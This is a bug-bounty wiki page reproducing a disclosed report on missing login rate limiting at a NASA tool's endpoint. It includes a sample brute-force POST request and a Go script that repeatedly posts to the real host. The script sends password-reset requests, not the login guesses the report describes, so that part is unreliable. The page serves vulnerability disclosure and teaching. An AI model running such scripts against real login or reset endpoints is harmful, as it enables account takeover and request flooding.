Skip to content
Business logic Disclosed report Beginner

Login Brute - NoRate Limit

The login endpoint lacks rate limiting, allowing an attacker to send many authentication attempts without restriction. This enables brute-force and credential-stuffing attacks that could lead to account takeover.

National Aeronautics and Space Administration (NASA) - Vulnerability Disclosure Program

Originally disclosed on Bugcrowd

  • Accepted in 2 days
  • Fixed in 2 months
  • Disclosed after 4 months

Summary by 7h3h4ckv157

No Rate Limiting on Login Overview of the Vulnerability

Rate Limiting prevents an application from becoming unresponsive or unavailable due to too many requests exhausting the application's resources. A lack of rate limiting on a login form allows an attacker to send a number of requests to the server which will attempt to authenticate a user with the supplied credentials, even if they are invalid. This has the risk of an attacker being able to attempt to bruteforce credentials for users without any protections, and can be used as a method of credential stuffing and compromising accounts to the service.

The Source code: view-source:https://ceres-tool.larc.nasa.gov/ord-tool/ provides the info to craft a POST req.

Business Impact

No rate limiting on a login form can result in reputational damage to the organization if an attacker successfully takes over an account through a bruteforce login attempt. It also has the potential to cause accelerated service usage, which can incur a direct financial cost in environments with SaaS services or pay on demand systems. Steps to Reproduce

This End-Point: "Click Here!" Allows an attacker to craft a POST req. and they can perform brute-force attack (No Rate Limiting)

Sample Req:

POST /ord-tool/userEntry HTTP/1.1
Host: ceres-tool.larc.nasa.gov
User-Agent: 7h3h4ckv157@NASA-VDP
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Te: trailers
Connection: close
Content-Length: 54

command=pass&email=<Victim-Mail>&password=<Brute-The-Pass>
Try Burp's Intruder or the below exploit: (go build login-brute.go)
package main

import (
    "fmt"
    "io/ioutil"
    "net/http"
    "strings"
)

func main() {
    var email string
    var numRequests int

    fmt.Print("Enter email address: ")
    fmt.Scanln(&email)

    fmt.Print("Enter number of requests to send: ")
    fmt.Scanln(&numRequests)

    url := "https://ceres-tool.larc.nasa.gov/ord-tool/userEntry"
    payload := fmt.Sprintf("command=reset&email=%s", email)

    headers := map[string]string{
        "User-Agent":       "7h3h4ckv157@NASA-VDP",
        "Accept":           "*/*",
        "Accept-Language":  "en-US,en;q=0.5",
        "Accept-Encoding":  "gzip, deflate, br",
        "X-Requested-With": "XMLHttpRequest",
        "Content-Type":     "application/x-www-form-urlencoded",
        "Sec-Fetch-Dest":   "empty",
        "Sec-Fetch-Mode":   "cors",
        "Sec-Fetch-Site":   "same-origin",
        "Te":               "trailers",
        "Connection":       "close",
    }

    for i := 0; i < numRequests; i++ {

        req, err := http.NewRequest("POST", url, strings.NewReader(payload))
        if err != nil {
            fmt.Printf("Error creating request: %v\n", err)
            return
        }

        for key, value := range headers {
            req.Header.Set(key, value)
        }

        client := &http.Client{}
        resp, err := client.Do(req)
        if err != nil {
            fmt.Printf("Error sending request: %v\n", err)
            return
        }

        defer resp.Body.Close()
        body, err := ioutil.ReadAll(resp.Body)
        if err != nil {
            fmt.Printf("Error reading response body: %v\n", err)
            return
        }

        fmt.Printf("Response %d:\n", i+1)
        fmt.Printf("Status: %s\n", resp.Status)
        fmt.Printf("Body: %s\n", body)
        fmt.Println("\n------------------------ Success ------------------------\n")
    }
}

The original report as published on Bugcrowd, by 7h3h4ckv157. Images and videos are our own copies; raw HTML is shown as text. View it on Bugcrowd.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

How it worked

Root cause

Likely the login endpoint does not implement any rate limiting or account lockout mechanism.

Impact

An attacker could brute-force credentials and potentially take over accounts, and the lack of limits may also cause increased service usage and financial cost.

What the attacker needed

Victim's email address; network access to the login endpoint

The fix

The login endpoint should implement rate limiting and account lockout after a number of failed attempts.

How it was found

  1. Inspect the login page source to find the POST request format.
  2. Send a POST request to the login endpoint with a victim's email and a guessed password.
  3. Repeat the request many times with different passwords without being blocked.

Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.

Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.

A login form should limit how many times someone can try to guess a password. Without that limit, an attacker can try thousands of passwords quickly until one works. This is called a brute-force attack.

What is Business logic?

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.

More from National Aeronautics and Space Administration (NASA) - Vulnerability Disclosure Program

View all

The newest disclosed reports for this program.

Similar reports

View all

Same bug class and techniques, clearest first.

Business logic flaws

The lesson behind this report.

The application works as coded but not as intended: a negative price, a skipped payment step, a limit that can be crossed.